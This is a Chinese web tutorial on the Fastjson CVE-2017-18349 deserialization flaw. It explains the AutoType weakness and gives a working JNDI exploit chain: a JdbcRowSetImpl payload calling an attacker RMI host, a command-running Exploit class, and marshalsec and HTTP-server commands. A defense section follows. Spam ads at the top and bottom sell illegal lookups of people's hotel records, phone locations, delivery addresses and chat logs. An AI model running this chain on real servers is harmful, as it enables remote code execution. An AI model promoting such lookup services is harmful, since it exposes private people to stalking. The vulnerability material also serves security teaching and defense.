Fastjson漏洞原理复现与防护教程

@ 查( 开房记录、手机定位 )

@ 查( 外卖地址、聊天记录 )

Fastjson 是阿里巴巴开源的一款高性能 JSON 库,在 Java 开发中应用极其广泛。然而,由于其早期版本中 AutoType(自动类型识别)机制的设计缺陷,导致了多次严重的反序列化远程代码执行(RCE)漏洞。

本教程将深入剖析其核心原理,并以经典的 CVE-2017-18349 为例进行复现讲解,最后提供全面的防护方案。44.webp.jpg

🧐 漏洞原理:危险的“自动类型”

Fastjson 的核心功能是在 Java 对象和 JSON 字符串之间进行转换。为了方便,它引入了一个特殊字段 @type,允许开发者在 JSON 中指定需要被还原成的 Java 类。

漏洞的根源就在于此: 在 1.2.24 及之前的许多版本中,Fastjson 对 @type 指定的类缺乏严格的安全校验。攻击者可以构造一个恶意的 JSON 字符串,让服务器在反序列化时,实例化一个攻击者指定的、存在于服务器环境中的危险类(Gadget),并调用其方法,最终导致任意代码执行。

这个过程就像小区的门卫,只要访客说自己是“送快递的”,就无条件放行,而不核实其真实身份和包裹内容。

💥 经典漏洞复现 (以 CVE-2017-18349 为例)

这个漏洞是利用链最经典、最广为人知的一个,其核心是利用了 JDK 自带的 com.sun.rowset.JdbcRowSetImpl 类。

攻击链路分析

整个攻击过程环环相扣,可以分为以下几个步骤:

  1. 构造恶意 Payload攻击者构造一个包含 @type 字段的 JSON 数据,指定类为 JdbcRowSetImpl,并设置其属性。

    {
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "rmi://attacker.com:1099/Exploit",
      "autoCommit": true
    }
    • @type: 告诉 Fastjson 将这个 JSON 对象反序列化为 JdbcRowSetImpl 类。

    • dataSourceName: 设置为攻击者控制的 RMI/LDAP 服务地址。

    • autoCommit: 设置为 true,这会触发 JdbcRowSetImplsetAutoCommit() 方法。

  2. 触发 JNDI 查询当存在漏洞的服务器解析这段 JSON 时,会创建 JdbcRowSetImpl 实例,并调用 setAutoCommit(true)。这个方法内部会尝试连接 dataSourceName 指定的数据源,而连接的方式正是通过 JNDI (Java Naming and Directory Interface)。于是,受害服务器会向攻击者的 RMI 服务发起查询请求。

  3. 返回恶意类引用攻击者预先搭建好的 RMI/LDAP 服务接收到查询后,不会返回真正的数据库连接信息,而是返回一个指向恶意 Java 类的 Reference 对象。这个恶意类通常托管在攻击者控制的 HTTP 服务器上。

  4. 加载并执行恶意代码受害服务器的 JNDI 机制会根据 Reference 中的地址,从攻击者的 HTTP 服务上下载并加载这个恶意的 .class 文件。一旦加载,恶意类的静态代码块或构造函数就会被执行,从而实现攻击者预设的命令,例如反弹 Shell、读取敏感文件等。

复现实验简述

要亲手复现这个漏洞,你需要准备以下环境:

  • 靶场环境: 一个运行着 Fastjson <= 1.2.24 的应用。可以使用 Vulhub 等工具快速搭建。

  • 攻击机: 一台有公网 IP 的机器,安装了 JDK 1.8。

步骤如下:

  1. 编写恶意类 (Exploit.java)

    public class Exploit {
        static {
            try {
                // 这里可以执行任意命令,例如弹出计算器或反弹Shell
                Runtime.getRuntime().exec("open -a Calculator"); // macOS 示例
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }

    编译它:javac Exploit.java

  2. 启动 HTTP 服务在存放 Exploit.class 的目录下,启动一个简单的 HTTP 服务来托管恶意类。

    python3 -m http.server 8888
  3. 启动 RMI 服务使用 marshalsec 等工具启动一个恶意的 RMI 服务,它会指引受害者去你的 HTTP 服务下载类。

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your_attacker_ip:8888/#Exploit" 1099
  4. 发送 Payload向靶场应用发送第一步中构造的恶意 JSON,注意将 dataSourceName 中的地址替换为你自己的 RMI 服务地址。

    {
      "@type": "com.sun.rowset.JdbcRowSetImpl",
      "dataSourceName": "rmi://your_attacker_ip:1099/Exploit",
      "autoCommit": true
    }

    如果一切顺利,靶场服务器上将会执行你恶意类中的代码。

🛡️ 全面防护策略

面对层出不穷的攻击手法,必须采取纵深防御的策略来保护你的应用。

1. 升级版本 (最根本的措施)

立即将 Fastjson 升级到最新的安全版本。强烈建议升级到 1.2.83 及以上版本,该版本修复了大量已知的绕过漏洞。对于新项目,可以考虑迁移到架构更安全、性能更强的 fastjson2

2. 安全配置 (核心防御)

  • 禁用 AutoType这是最关键的一步。在全局配置中关闭 AutoTypeSupport,可以从根本上阻止任意类的反序列化。

    // 全局禁用 AutoType
    ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  • 启用白名单机制如果业务确实需要使用 @type 功能,务必使用白名单机制,只允许可信的类被反序列化。

    // 添加可信的包名前缀
    ParserConfig.getGlobalInstance().addAccept("com.yourcompany.domain.");
    ParserConfig.getGlobalInstance().addAccept("org.springframework.");

    警告:不要使用黑名单(addDeny),因为攻击者总能找到新的危险类来绕过。

3. 安全的编码实践

  • 避免使用不安全的 API尽量避免使用 JSON.parse(String json) 这种无类型限制的 API。推荐使用 JSON.parseObject(String json, Class<T> clazz),明确指定目标类型。

  • 输入验证对所有外部输入的 JSON 数据进行严格的格式和内容校验。

4. JVM 层加固

通过在启动参数中添加以下配置,可以限制 JNDI 从远程加载类的行为,作为最后一道防线。

-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false

5. 运行时监控

  • 日志审计:记录所有包含 @type 字段的请求,便于事后分析和追踪攻击。

  • WAF/RASP:部署 Web 应用防火墙(WAF)或运行时应用自我保护(RASP)工具,实时检测和拦截恶意的 Fastjson 利用 payload。

@ 查( 开房记录、手机定位 )

@ 查( 外卖地址、聊天记录 )

微信号复制成功

打开微信,点击右上角"+"号,添加朋友,粘贴微信号,搜索即可!